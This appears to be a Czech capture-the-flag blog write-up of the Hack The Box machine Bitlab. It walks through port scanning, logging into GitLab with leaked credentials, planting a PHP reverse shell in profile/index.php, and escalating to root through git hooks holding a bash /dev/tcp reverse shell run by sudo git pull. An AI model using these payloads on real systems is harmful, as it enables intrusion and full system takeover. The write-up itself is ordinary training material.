tom@home.htb:~$

Blog o HTB

6 November 2020

Bitlab

Úvod a kontext

Bitlab není o zranitelnosti v GitLabu samotném, ale o tom, co všechno útočník získá z příliš otevřeného vývojového prostředí. Veřejně přístupný GitLab, nalezené přihlašovací údaje clave / 11des0081x a dostupné repozitáře otevřou cestu ke zdrojovým kódům, databázovým konfiguracím i aplikaci, která se nasazuje na web.

Nejdůležitější není samotné přihlášení do GitLabu, ale schopnost změnit kód tak, aby si aplikace sama otevřela shell. Root část pak dobře ukazuje jiný druh chyby: administrativní sudo git pull spuštěný nad repozitářem, jehož obsah i hooky může ovlivnit útočník.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

nmap -p 1-65535 -T4 -A -sC -v $IP
PORT   STATE SERVICE VERSION

Detailní analýza služeb

V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.114/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vyhledání otevřených portů (2)

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

nmap -sU -T4 -v $IP

Analýza zjištění

GitLab jako zdroj přístupů a konfigurace

Veřejný GitLab neprozradil jen technologii, ale i konkrétní přístupy a konfiguraci aplikace. Po přihlášení pod účtem clave je možné z repozitářů vyčíst další tajemství, například databázové údaje pro aplikaci profiles.

user: clave / 11des0081x
dbname=profiles user=profiles password=profiles

Získání přístupu

Vložení payloadu do aplikace

Jakmile mám přístup do repozitáře a kódu, dává smysl upravit přímo soubor, který se nasazuje na web. Tady nejde o exploit GitLabu, ale o důsledek toho, že vývojové prostředí a běžící aplikace nejsou od sebe oddělené.

profile/index.php: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.228/4000 0>&1'"); ?>

Získání user flagu

Po nasazení upraveného profile/index.php vznikne shell pod účtem clave, což potvrzuje i dostupnost user.txt.

cat clave/user.txt
__CENSORED__

Eskalace oprávnění

Zneužití sudo git pull

Lokálně je nebezpečný příkaz sudo git pull. Pokud může útočník zapisovat do pracovního adresáře a do .git/hooks, stačí přidat pomocný skript a nakopírovat ho i na hooky, které se spouštějí během pull nebo merge.

echo '#!/bin/bash' > .git/hooks/pre-receive
echo 'bash -i >& /dev/tcp/10.10.14.228/4004 0>&1' >> .git/hooks/pre-receive
chmod +x .git/hooks/pre-receive
cp .git/hooks/pre-receive .git/hooks/post-merge
cp .git/hooks/pre-receive .git/hooks/post-checkout
sudo git pull

Získání root flagu

Jakmile git pull běží pod rootem ve writable repozitáři, pomocný hook se změní v přímé spuštění kódu s nejvyššími právy.

cat /root/root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - xss - rce - ssh - sudo - php